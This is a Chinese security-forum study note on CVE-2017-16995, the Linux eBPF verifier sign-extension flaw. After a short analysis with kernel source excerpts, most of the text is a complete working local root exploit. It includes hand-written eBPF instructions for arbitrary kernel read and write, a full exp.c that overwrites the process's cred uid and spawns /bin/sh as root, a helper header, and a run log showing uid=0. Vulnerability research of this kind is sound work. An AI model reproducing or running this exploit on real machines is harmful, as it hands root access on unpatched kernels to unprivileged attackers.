CVE-2017-16995 ebpf 符号扩展漏洞学习笔记
今天的文章是 i 春秋论坛作者PwnRabb1t原创的文章,关于CVE-2017-16995 ebpf 符号扩展漏洞的学习笔记,文章篇幅较长,阅读约12分钟,文章未经许可禁止转载!
漏洞分析
关于这个漏洞网上已经有很多的文章分析了,这里不做太多描述,只记录一些比较重要的点。
首先是ebpf,上一张图:
ebpf首先需要ring3传入一段指令(传到JIT),它会在BPF_PROG_RUN里做包过滤, 内核会申请一块共享内存(MAP),内核的数据经过过滤之后放到MAP里面,然后ring3就可以读写MAP来获取内核数据。
这个漏洞简单来说就是符号扩展没有检查好,像前面说的,ebpf分成verifier和BPF_PROG_RUN 两个部分。
传入的指令其实就是原本x64上指令的一个映射,它会检查指令的CFG,是不是有非法内存访问之类的(如果可以的话就直接是内核代码注入了,可以任意执行代码),效率上的考虑,会忽略掉一些分支的检查,像下面这样,r9的值固定是0xffffffff,那么就不会跳转到[4]的部分,所以就不用检查它了,节省时间。
ALU_MOV_K(9,0xffffffff), // [0] r9 = 0xffffffff
JMP_JNE_K(9,0xffffffff,2), // [1] if r9 != 0xffffffff: jmp [4]
ALU64_MOV_K(0,0x0), // [2] r0 = 0
JMP_EXIT(), // [3] exit
LD_IMM_DW(9,1,3), // [4] r9 = mapfd
BPF_INSN_NEG, // [5]
//r6 = map[0]
ALU64_MOV_X(1,9), // [6] r1 = r9
ALU64_MOV_X(2,10), // [7] r2 = r10 (rbp)
ALU64_ADD_K(2,-4), // [8] r2 = r2 -4
首先看上面第一条指令ALU_MOV_K(9,0xffffffff),它等效于r9 = 0xffffffff,对应的代码在:
https://elixir.bootlin.com/linux/v4.4.110/source/kernel/bpf/verifier.c#L1782
if (class == BPF_ALU || class == BPF_ALU64) {
err = check_alu_op(env, insn);
if (err)
return err;
} else if (class == BPF_LDX) {
调用check_alu_op函数,最后调用regs[insn->dst_reg].imm = insn->imm;,这里的立即数是用signed int保存的。
//ptype struct reg_state
type = struct reg_state {
enum bpf_reg_type type;
union {
int imm;
struct bpf_map *map_ptr;
};
}
//
/* check validity of 32-bit and 64-bit arithmetic operations */
static int check_alu_op(struct verifier_env *env, struct bpf_insn *insn){
struct reg_state *regs = env->cur_state.regs;
u8 opcode = BPF_OP(insn->code);
int err;
//...
} else if (opcode == BPF_MOV) {
//..
if (BPF_SRC(insn->code) == BPF_X) {
//...
} else {// BPF_K <===========================================
/* case: R = imm
* remember the value we stored into this reg
*/
regs[insn->dst_reg].type = CONST_IMM;
regs[insn->dst_reg].imm = insn->imm;//32bit <- 32bit
}
//...
return 0;
}
然后第二条指令JMP_JNE_K(9,0xffffffff,2),其检查在check_cond_jmp_op函数里,这时候用的imm依然是signed int类型,然后后续检查的时候发现前面r9和JMP_JNE_K的imm一样,于是就不去检查[4]开始的指令了。
/* ptype struct reg_state
type = struct reg_state {
enum bpf_reg_type type;
union {
int imm;
struct bpf_map *map_ptr;
};
}
*/
static int check_cond_jmp_op(struct verifier_env *env,
struct bpf_insn *insn, int *insn_idx){
struct reg_state *regs = env->cur_state.regs;
struct verifier_state *other_branch;
u8 opcode = BPF_OP(insn->code);
int err;
//....
} else if (BPF_SRC(insn->code) == BPF_K &&
(opcode == BPF_JEQ || opcode == BPF_JNE)) {
if (opcode == BPF_JEQ) {
//...
} else {
/* detect if (R != imm) goto
* and in the fall-through state recognize that R = imm
*/
regs[insn->dst_reg].type = CONST_IMM;
regs[insn->dst_reg].imm = insn->imm;
}
}
if (log_level)
print_verifier_state(env);
return 0;
}
然后到了运行的之后,对应__bpf_prog_run 函数:https://elixir.bootlin.com/linux/v4.4.110/source/kernel/bpf/core.c#L195
ALU_MOV_K:DST=(u32)IMM这个时候DST=0xffffffff
JMP_JNE_K:比较DST和IMM,此时IMM是signed int类型,DST 是 uint64_t 类型, IMM会做位扩展,原来的0xffffffff也就是-1变成0xffffffff ffffffff,0xffffffff != 0xffffffff ffffffff,于是就会跳到前面指令的LD_IMM_DW(9,1,3), // [4] r9=mapfd开始执行,verifrier的时候并没有这一段指令做检查,这时候就可以在内核做任意代码执行了。
#define DST regs[insn->dst_reg] // uint64_t
#define SRC regs[insn->src_reg] // uint64_t
#define FP regs[BPF_REG_FP]
#define ARG1 regs[BPF_REG_ARG1]
#define CTX regs[BPF_REG_CTX]
#define IMM insn->imm // signed int
//..
static unsigned int __bpf_prog_run(void *ctx, const struct bpf_insn *insn)
{
u64 stack[MAX_BPF_STACK / sizeof(u64)];
u64 regs[MAX_BPF_REG], tmp;
//.....
ALU_MOV_K:
DST = (u32) IMM;
CONT;
//...
JMP_JNE_K:
if (DST != IMM) {
insn += insn->off;
CONT_JMP;
}
CONT;
//...
}
我们可以写一段代码验证一下:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdint.h>
int main(int argc,char **argv){
setbuf(stdout,0);
int imm = 0xffffffff;
uint64_t dst = (uint32_t)0xffffffff;
if( dst != imm){
printf("vuln\n");
}
return 0;
}
输出的结果是vuln,接下来是如何利用。
漏洞利用
漏洞利用的话,前面的分析我们知道可以在内核任意代码执行,手写ebpf的指令(其实就和我们手写汇编一样),基本利用思路如下:
- 泄露出task_struct的地址
- 借助task_struct地址泄露出cred地址
- 直接内存写改uid,gid,然后/bin/sh getshell
复现的环境我用的内核是4.4.110版本, 附件中有我的config文件,主要是加上CONFIG_BPF=y 和CONFIG_BPF_SYSCALL=y
这里使用的bpf指令如下,参照panda师傅的分析:
ALU_MOV_K(9,0xffffffff), // [0] r9 = 0xffffffff
JMP_JNE_K(9,0xffffffff,2), // [1] if r9 != 0xffffffff: jmp [4]
ALU64_MOV_K(0,0x0), // [2] r0 = 0
JMP_EXIT(), // [3] exit
// 下面指令不会做检查
LD_IMM_DW(9,1,3), // [4] r9 = mapfd
BPF_INSN_NEG, // [5] padding
//r6 = map[0]
ALU64_MOV_X(1,9), // [6] r1 = r9
ALU64_MOV_X(2,10), // [7] r2 = r10 (rbp)
ALU64_ADD_K(2,-4), // [8] r2 = r2 -4
ST_MEM_W(10,-4,0), // [9] [r10 - 4] =0
//fixup_bpf_calls
JMP_CALL(BPF_FUNC_map_lookup_elem),// [10] map_lookup_elem
JMP_JNE_K(0,0,1), // [11] if r0 != 0 : jmp [13]
JMP_EXIT(), // [12] exit
LDX_MEM_DW(6,0,0), // [13] r6 = [r0]
// r7 =map[1]
ALU64_MOV_X(1,9), // [14] r1 = r9
ALU64_MOV_X(2,10), // [15] r2 = r10 (rbp)
ALU64_ADD_K(2,-4), // [16] r2 = r2 -4
ST_MEM_W(10,-4,1), // [17] [r10 - 4] =0
JMP_CALL(BPF_FUNC_map_lookup_elem),// [18] map_lookup_elem
JMP_JNE_K(0,0,1), // [19] if r0 != 0 : jmp [21]
JMP_EXIT(), // [20] exit
LDX_MEM_DW(7,0,0), // [21] r7 = [r0]
// r8=map[2]
ALU64_MOV_X(1,9), // [22] r1 = r9
ALU64_MOV_X(2,10), // [23] r2 = r10 (rbp)
ALU64_ADD_K(2,-4), // [24] r2 = r2 -4
ST_MEM_W(10,-4,2), // [25] [r10 - 4] =0
JMP_CALL(BPF_FUNC_map_lookup_elem),// [26] map_lookup_elem
JMP_JNE_K(0,0,1), // [27] if r0 != 0 : jmp [29]
JMP_EXIT(), // [28] exit
LDX_MEM_DW(8,0,0), // [29] r8 = [r0]
ALU64_MOV_X(2,0), // [30] r2 = r0
ALU64_MOV_K(0,0), // [31] r0 = 0
// map[0] == 0 任意地址读
JMP_JNE_K(6,0,3), // [32] if r6 !=0: jmp [36]
LDX_MEM_DW(3,7,0), // [33] r3 = [r7] (map[1])
STX_MEM_DW(2,0,3), // [34] [r2] = r3
JMP_EXIT(), // [35] exit
// map[0] == 1 leak rbp addr
JMP_JNE_K(6,1,2), // [36] if r6 !=1: jmp [39]
STX_MEM_DW(2,0,10), // [37] [r2] = r10 (rbp)
JMP_EXIT(), // [38] exit
// map[0] == 2 任意地址写
STX_MEM_DW(7,0,8), // [39] [r7] = r8
JMP_EXIT(), // [40] exit
首先是r6=map[0],r7=map[1],r8=map[2] (map 是前面提到的共享内存)
然后是三个判断:
- map[0]==0时,根据 map[1] 的值来读内存;
- map[0]==1时,获取rbp的值==>addr & ~(0x4000 - 1); 可以读取到 task_struct 的地址;
- map[0] ==2时,*map[1]= map[2]([r7]=r8)。
exp
完整exp 如下 , exp.c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/socket.h>
#include <errno.h>
#include "bpf_insn_helper.h"
typedef uint32_t u32;
typedef int32_t s32;
typedef uint64_t u64;
typedef int64_t s64;
void logs(char *tag,char *buf){
printf("[ s]: ");
printf(" %s ",tag);
printf(": %s\n",buf);
}
void logx(char *tag,uint32_t num){
printf("[ x] ");
printf(" %-20s ",tag);
printf(": %-#8x\n",num);
}
void loglx(char *tag,uint64_t num){
printf("[lx] ");
printf(" %-20s ",tag);
printf(": %-#16lx\n",num);
}
void bp(char *tag){
printf("[bp] : %s\n",tag);
getchar();
}
void init(){
setbuf(stdin,0);
setbuf(stdout,0);
}
int mapfd,progfd;
int sockets[2];
#define LOG_BUF_SIZE 65536
#define PROGSIZE 328
#define PHYS_OFFSET 0xffff880000000000
#define CRED_OFFSET 0x5b0 //0x5f8
#define UID_OFFSET 0x4
char bpf_log_buf[LOG_BUF_SIZE];
static int bpf_prog_load(enum bpf_prog_type prog_type,
const struct bpf_insn *insns, int prog_len,
const char *license, int kern_version) {
union bpf_attr attr = {
.prog_type = prog_type,
.insns = (__u64)insns,
.insn_cnt = prog_len / sizeof(struct bpf_insn),
.license = (__u64)license,
.log_buf = (__u64)bpf_log_buf,
.log_size = LOG_BUF_SIZE,
.log_level = 1,
};
attr.kern_version = kern_version;
bpf_log_buf[0] = 0;
return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}
static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
int max_entries) {
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries
};
return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}
static int bpf_update_elem(uint64_t key, uint64_t value) {
union bpf_attr attr = {
.map_fd = mapfd,
.key = (__u64)&key,
.value = (__u64)&value,
.flags = 0,
};
return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}
static int bpf_lookup_elem(void *key, void *value) {
union bpf_attr attr = {
.map_fd = mapfd,
.key = (__u64)key,
.value = (__u64)value,
};
return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}
static void __exit(char *err) {
fprintf(stderr, "error: %s\n", err);
exit(-1);
}
static void writemsg(void) {
char buffer[64];
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
if (n < 0) {
perror("write");
return;
}
if (n != sizeof(buffer))
fprintf(stderr, "short write: %lu\n", n);
}
#define __update_elem(a, b, c) \
bpf_update_elem(0, (a)); \
bpf_update_elem(1, (b)); \
bpf_update_elem(2, (c)); \
writemsg();
static uint64_t get_value(int key) {
uint64_t value;
if (bpf_lookup_elem(&key, &value))
__exit(strerror(errno));
return value;
}
static uint64_t __get_fp(void) {
__update_elem(1, 0, 0);
return get_value(2);
}
static uint64_t __read(uint64_t addr) {
__update_elem(0, addr, 0);
return get_value(2);
}
static void __write(uint64_t addr, uint64_t val) {
__update_elem(2, addr, val);
}
static uint64_t get_sp(uint64_t addr) {
return addr & ~(0x4000 - 1);
}
static void pwn(void) {
printf("pwning\n");
uint64_t fp, sp, task_struct, credptr, uidptr;
fp = __get_fp();
loglx("fpsome",fp);
if (fp < PHYS_OFFSET)
__exit("bogus fp");
sp = get_sp(fp);
if (sp < PHYS_OFFSET)
__exit("bogus sp");
task_struct = __read(sp);
if (task_struct < PHYS_OFFSET)
__exit("bogus task ptr");
printf("task_struct = %lx\n", task_struct);
credptr = __read(task_struct + CRED_OFFSET); // cred
if (credptr < PHYS_OFFSET)
__exit("bogus cred ptr");
uidptr = credptr + UID_OFFSET; // uid
/*uidptr = credptr + 4; // uid*/
if (uidptr < PHYS_OFFSET)
__exit("bogus uid ptr");
printf("uidptr = %lx\n", uidptr);
__write(uidptr, 0);
__write(uidptr+0x8, 0);
__write(uidptr+0x10, 0);
if (geteuid() == 0) {
printf("spawning root shell\n");
system("/bin/sh");
exit(0);
}
__exit("not vulnerable?");
}
int main(int argc,char **argv){
init();
struct bpf_insn insns[] = {
ALU_MOV_K(9,0xffffffff), // [0] r9 = 0xffffffff
JMP_JNE_K(9,0xffffffff,2), // [1] if r9 != 0xffffffff: jmp [4]
ALU64_MOV_K(0,0x0), // [2] r0 = 0
JMP_EXIT(), // [3] exit
LD_IMM_DW(9,1,3), // [4] r9 = mapfd
BPF_INSN_NEG, // [5]
//r6 = map[0]
ALU64_MOV_X(1,9), // [6] r1 = r9
ALU64_MOV_X(2,10), // [7] r2 = r10 (rbp)
ALU64_ADD_K(2,-4), // [8] r2 = r2 -4
ST_MEM_W(10,-4,0), // [9] [r10 - 4] =0
JMP_CALL(BPF_FUNC_map_lookup_elem),// [10] map_lookup_elem
JMP_JNE_K(0,0,1), // [11] if r0 != 0 : jmp [13]
JMP_EXIT(), // [12] exit
LDX_MEM_DW(6,0,0), // [13] r6 = [r0]
// r7 =map[1]
ALU64_MOV_X(1,9), // [14] r1 = r9
ALU64_MOV_X(2,10), // [15] r2 = r10 (rbp)
ALU64_ADD_K(2,-4), // [16] r2 = r2 -4
ST_MEM_W(10,-4,1), // [17] [r10 - 4] =0
JMP_CALL(BPF_FUNC_map_lookup_elem),// [18] map_lookup_elem
JMP_JNE_K(0,0,1), // [19] if r0 != 0 : jmp [21]
JMP_EXIT(), // [20] exit
LDX_MEM_DW(7,0,0), // [21] r7 = [r0]
// r8=map[2]
ALU64_MOV_X(1,9), // [22] r1 = r9
ALU64_MOV_X(2,10), // [23] r2 = r10 (rbp)
ALU64_ADD_K(2,-4), // [24] r2 = r2 -4
ST_MEM_W(10,-4,2), // [25] [r10 - 4] =0
JMP_CALL(BPF_FUNC_map_lookup_elem),// [26] map_lookup_elem
JMP_JNE_K(0,0,1), // [27] if r0 != 0 : jmp [29]
JMP_EXIT(), // [28] exit
LDX_MEM_DW(8,0,0), // [29] r8 = [r0]
ALU64_MOV_X(2,0), // [30] r2 = r0
ALU64_MOV_K(0,0), // [31] r0 = 0
JMP_JNE_K(6,0,3), // [32] if r6 !=0: jmp [36]
LDX_MEM_DW(3,7,0), // [33] r3 = [r7] (map[1])
STX_MEM_DW(2,0,3), // [34] [r2] = r3
JMP_EXIT(), // [35] exit
JMP_JNE_K(6,1,2), // [36] if r6 !=1: jmp [39]
STX_MEM_DW(2,0,10), // [37] [r2] = r10
JMP_EXIT(), // [38] exit
STX_MEM_DW(7,0,8), // [39] [r7] = r8
JMP_EXIT(), // [40] exit
};
/*for(int i=0;i<PROGSIZE/8;i++){*/
/*loglx("code : ",*(u64 *)&insns[i]);*/
/*}*/
logx("insns",sizeof(insns));
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
if (mapfd < 0)
__exit(strerror(errno));
puts("mapfd finished");
progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
insns, sizeof(insns), "GPL", 0);
if (progfd < 0){
__exit(strerror(errno));
}
puts("progfd finish");
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)){
__exit(strerror(errno));
}
puts("socketpair finished");
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0){
__exit(strerror(errno));
}
pwn();
return 0;
}
bpf_insn_helper.h
#ifndef _BPF_INSN_HELPER_H__
#define _BPF_INSN_HELPER_H__
#include <linux/bpf.h>
#define ALU_NEG BPF_ALU | BPF_NEG
#define ALU_END_TO_BE BPF_ALU | BPF_END | BPF_TO_BE
#define ALU_END_TO_LE BPF_ALU | BPF_END | BPF_TO_LE
#define F_ALU64_ARSH_XBPF_ALU64 | BPF_ARSH | BPF_X
#define F_ALU64_ARSH_KBPF_ALU64 | BPF_ARSH | BPF_K
#define F_ALU64_NEG BPF_ALU64 | BPF_NEG
#define BPF_INSN_NEG \
((struct bpf_insn) { \
.code = 0, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = 0 \
})
#define ALU_OP_K(OP,DST,IMM) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM \
})
#define ALU_OP_X(OP,DST,SRC) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_OP(OP) | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 \
})
#define ALU64_OP_K(OP,DST,IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM \
})
#define ALU64_OP_X(OP,DST,SRC) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 \
})
#define ALU_ADD_K(DST,IMM) ALU_OP_K(BPF_ADD,DST,IMM)
#define ALU_SUB_K(DST,IMM) ALU_OP_K(BPF_SUB,DST,IMM)
#define ALU_AND_K(DST,IMM) ALU_OP_K(BPF_AND,DST,IMM)
#define ALU_OR_K(DST,IMM) ALU_OP_K(BPF_OR,DST,IMM)
#define ALU_LSH_K(DST,IMM) ALU_OP_K(BPF_LSH,DST,IMM)
#define ALU_RSH_K(DST,IMM) ALU_OP_K(BPF_RSH,DST,IMM)
#define ALU_XOR_K(DST,IMM) ALU_OP_K(BPF_XOR,DST,IMM)
#define ALU_MUL_K(DST,IMM) ALU_OP_K(BPF_MUL,DST,IMM)
#define ALU_MOV_K(DST,IMM) ALU_OP_K(BPF_MOV,DST,IMM)
#define ALU_DIV_K(DST,IMM) ALU_OP_K(BPF_DIV,DST,IMM)
#define ALU_MOD_K(DST,IMM) ALU_OP_K(BPF_MOD,DST,IMM)
#define ALU_ADD_X(DST,SRC) ALU_OP_X(BPF_ADD,DST,SRC)
#define ALU_SUB_X(DST,SRC) ALU_OP_X(BPF_SUB,DST,SRC)
#define ALU_AND_X(DST,SRC) ALU_OP_X(BPF_AND,DST,SRC)
#define ALU_OR_X (DST,SRC) ALU_OP_X (BPF_OR,DST,SRC)
#define ALU_LSH_X(DST,SRC) ALU_OP_X(BPF_LSH,DST,SRC)
#define ALU_RSH_X(DST,SRC) ALU_OP_X(BPF_RSH,DST,SRC)
#define ALU_XOR_X(DST,SRC) ALU_OP_X(BPF_XOR,DST,SRC)
#define ALU_MUL_X(DST,SRC) ALU_OP_X(BPF_MUL,DST,SRC)
#define ALU_MOV_X(DST,SRC) ALU_OP_X(BPF_MOV,DST,SRC)
#define ALU_DIV_X(DST,SRC) ALU_OP_X(BPF_DIV,DST,SRC)
#define ALU_MOD_X(DST,SRC) ALU_OP_X(BPF_MOD,DST,SRC)
#define ALU64_ADD_K(DST,IMM) ALU64_OP_K(BPF_ADD,DST,IMM)
#define ALU64_SUB_K(DST,IMM) ALU64_OP_K(BPF_SUB,DST,IMM)
#define ALU64_AND_K(DST,IMM) ALU64_OP_K(BPF_AND,DST,IMM)
#define ALU64_OR_K(DST,IMM) ALU_64OP_K(BPF_OR,DST,IMM)
#define ALU64_LSH_K(DST,IMM) ALU64_OP_K(BPF_LSH,DST,IMM)
#define ALU64_RSH_K(DST,IMM) ALU64_OP_K(BPF_RSH,DST,IMM)
#define ALU64_XOR_K(DST,IMM) ALU64_OP_K(BPF_XOR,DST,IMM)
#define ALU64_MUL_K(DST,IMM) ALU64_OP_K(BPF_MUL,DST,IMM)
#define ALU64_MOV_K(DST,IMM) ALU64_OP_K(BPF_MOV,DST,IMM)
#define ALU64_DIV_K(DST,IMM) ALU64_OP_K(BPF_DIV,DST,IMM)
#define ALU64_MOD_K(DST,IMM) ALU64_OP_K(BPF_MOD,DST,IMM)
#define ALU64_ADD_X(DST,SRC) ALU64_OP_X(BPF_ADD,DST,SRC)
#define ALU64_SUB_X(DST,SRC) ALU64_OP_X(BPF_SUB,DST,SRC)
#define ALU64_AND_X(DST,SRC) ALU64_OP_X(BPF_AND,DST,SRC)
#define ALU64_OR_X (DST,SRC) ALU64_OP_X (BPF_OR,DST,SRC)
#define ALU64_LSH_X(DST,SRC) ALU64_OP_X(BPF_LSH,DST,SRC)
#define ALU64_RSH_X(DST,SRC) ALU64_OP_X(BPF_RSH,DST,SRC)
#define ALU64_XOR_X(DST,SRC) ALU64_OP_X(BPF_XOR,DST,SRC)
#define ALU64_MUL_X(DST,SRC) ALU64_OP_X(BPF_MUL,DST,SRC)
#define ALU64_MOV_X(DST,SRC) ALU64_OP_X(BPF_MOV,DST,SRC)
#define ALU64_DIV_X(DST,SRC) ALU64_OP_X(BPF_DIV,DST,SRC)
#define ALU64_MOD_X(DST,SRC) ALU64_OP_X(BPF_MOD,DST,SRC)
#define JMP_OP_K(OP,DST,IMM,OFF) \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM \
})
#define JMP_OP_X(OP,DST,SRC,OFF) \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_OP(OP) | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 \
})
#define F_JMP_JA BPF_JMP | BPF_JA
#define F_JMP_CALL BPF_JMP | BPF_CALL
#define F_JMP_TAIL_CALL BPF_JMP | BPF_CALL | BPF_X
#define JMP_EXIT() \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_EXIT, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = 0 \
})
#define JMP_CALL(FUNC) \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_CALL, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = FUNC \
})
#define JMP_JNE_K(DST,IMM,OFF) JMP_OP_K(BPF_JNE,DST,IMM,OFF)
#define JMP_JEQ_K(DST,IMM,OFF) JMP_OP_K(BPF_JEQ,DST,IMM,OFF)
#define JMP_JGT_K(DST,IMM,OFF) JMP_OP_K(BPF_JGT,DST,IMM,OFF)
#define JMP_JGE_K(DST,IMM,OFF) JMP_OP_K(BPF_JGE,DST,IMM,OFF)
#define JMP_JSGT_K(DST,IMM,OFF) JMP_OP_K(BPF_JSGT,DST,IMM,OFF)
#define JMP_JSGE_K(DST,IMM,OFF) JMP_OP_K(BPF_JSGE,DST,IMM,OFF)
#define JMP_JSET_K(DST,IMM,OFF) JMP_OP_K(BPF_JSET,DST,IMM,OFF)
#define JMP_JNE_X(DST,SRC,OFF) JMP_OP_X(BPF_JNE,DST,SRC,OFF)
#define JMP_JEQ_X(DST,SRC,OFF) JMP_OP_X(BPF_JEQ,DST,SRC,OFF)
#define JMP_JGT_X(DST,SRC,OFF) JMP_OP_X(BPF_JGT,DST,SRC,OFF)
#define JMP_JGE_X(DST,SRC,OFF) JMP_OP_X(BPF_JGE,DST,SRC,OFF)
#define JMP_JSGT_X(DST,SRC,OFF) JMP_OP_X(BPF_JSGT,DST,SRC,OFF)
#define JMP_JSGE_X(DST,SRC,OFF) JMP_OP_X(BPF_JSGE,DST,SRC,OFF)
#define JMP_JSET_X(DST,SRC,OFF) JMP_OP_X(BPF_JSET,DST,SRC,OFF)
#define JMP_CALL_X(DST,SRC,OFF) JMP_OP_X(BPF_CALL,0,0,OFF)
// [ det_reg + off ] = src
#define STX_MEM_OP(SIZE,DST,OFF,SRC) \
((struct bpf_insn) { \
.code = BPF_STX | BPF_MEM | BPF_SIZE(SIZE) , \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 \
})
// [ dst_reg + off ] = IMM
#define ST_MEM_OP(SIZE,DST,OFF,IMM) \
((struct bpf_insn) { \
.code = BPF_ST | BPF_MEM | BPF_SIZE(SIZE) , \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM \
})
#define STX_XADD_W BPF_STX | BPF_XADD | BPF_W
#define STX_XADD_DWBPF_STX | BPF_XADD | BPF_DW
#define ST_MEM_B(DST,OFF,IMM) ST_MEM_OP(BPF_B,DST,OFF,IMM)
#define ST_MEM_H(DST,OFF,IMM) ST_MEM_OP(BPF_H,DST,OFF,IMM)
#define ST_MEM_W(DST,OFF,IMM) ST_MEM_OP(BPF_W,DST,OFF,IMM)
#define ST_MEM_DW(DST,OFF,IMM) ST_MEM_OP(BPF_DW,DST,OFF,IMM)
#define STX_MEM_B(DST,OFF,SRC) STX_MEM_OP(BPF_B,DST,OFF,SRC)
#define STX_MEM_H(DST,OFF,SRC) STX_MEM_OP(BPF_H,DST,OFF,SRC)
#define STX_MEM_W(DST,OFF,SRC) STX_MEM_OP(BPF_W,DST,OFF,SRC)
#define STX_MEM_DW(DST,OFF,SRC) STX_MEM_OP(BPF_DW,DST,OFF,SRC)
#define LD_ABS_W BPF_LD | BPF_ABS | BPF_W
#define LD_ABS_H BPF_LD | BPF_ABS | BPF_H
#define LD_ABS_B BPF_LD | BPF_ABS | BPF_B
#define LD_IND_W BPF_LD | BPF_IND | BPF_W
#define LD_IND_H BPF_LD | BPF_IND | BPF_H
#define LD_IND_B BPF_LD | BPF_IND | BPF_B
// dst_reg = [src_reg + off ]
#define LDX_MEM_OP(SIZE,DST,SRC,OFF) \
((struct bpf_insn) { \
.code = BPF_LDX | BPF_MEM | BPF_SIZE(SIZE) , \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 \
})
// [ src_reg + off ] = IMM
#define LD_MEM_OP(MODE,SIZE,DST,SRC,IMM) \
((struct bpf_insn) { \
.code = BPF_LD | BPF_MODE(MODE) | BPF_SIZE(SIZE) , \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = IMM \
})
#define LD_IMM_DW(DST,SRC,IMM) LD_MEM_OP(BPF_IMM,BPF_DW,DST,SRC,IMM)
#define LDX_MEM_B(DST,SRC,OFF) LDX_MEM_OP(BPF_B,DST,SRC,OFF)
#define LDX_MEM_H(DST,SRC,OFF) LDX_MEM_OP(BPF_H,DST,SRC,OFF)
#define LDX_MEM_W(DST,SRC,OFF) LDX_MEM_OP(BPF_W,DST,SRC,OFF)
#define LDX_MEM_DW(DST,SRC,OFF) LDX_MEM_OP(BPF_DW,DST,SRC,OFF)
#endif
运行的效果如下:
~ $ /exp
[ x] insns : 0x148
mapfd finished
progfd finish
socketpair finished
pwning
[lx] fpsome : 0xffff8800001b7cc0
task_struct = ffff88000d002e00
uidptr = ffff88000dc11f04
spawning root shell
/home/pwn # id
uid=0(root) gid=0 groups=1000
/home/pwn #
小结
cve-2017-16995就是符号的扩展没有检查好,最终可以任意代码执行,这个阶段的ebpf还是刚刚起步,代码还很少,后面添加了很多新的特性,检查的时候优化也是一个不错的利用点。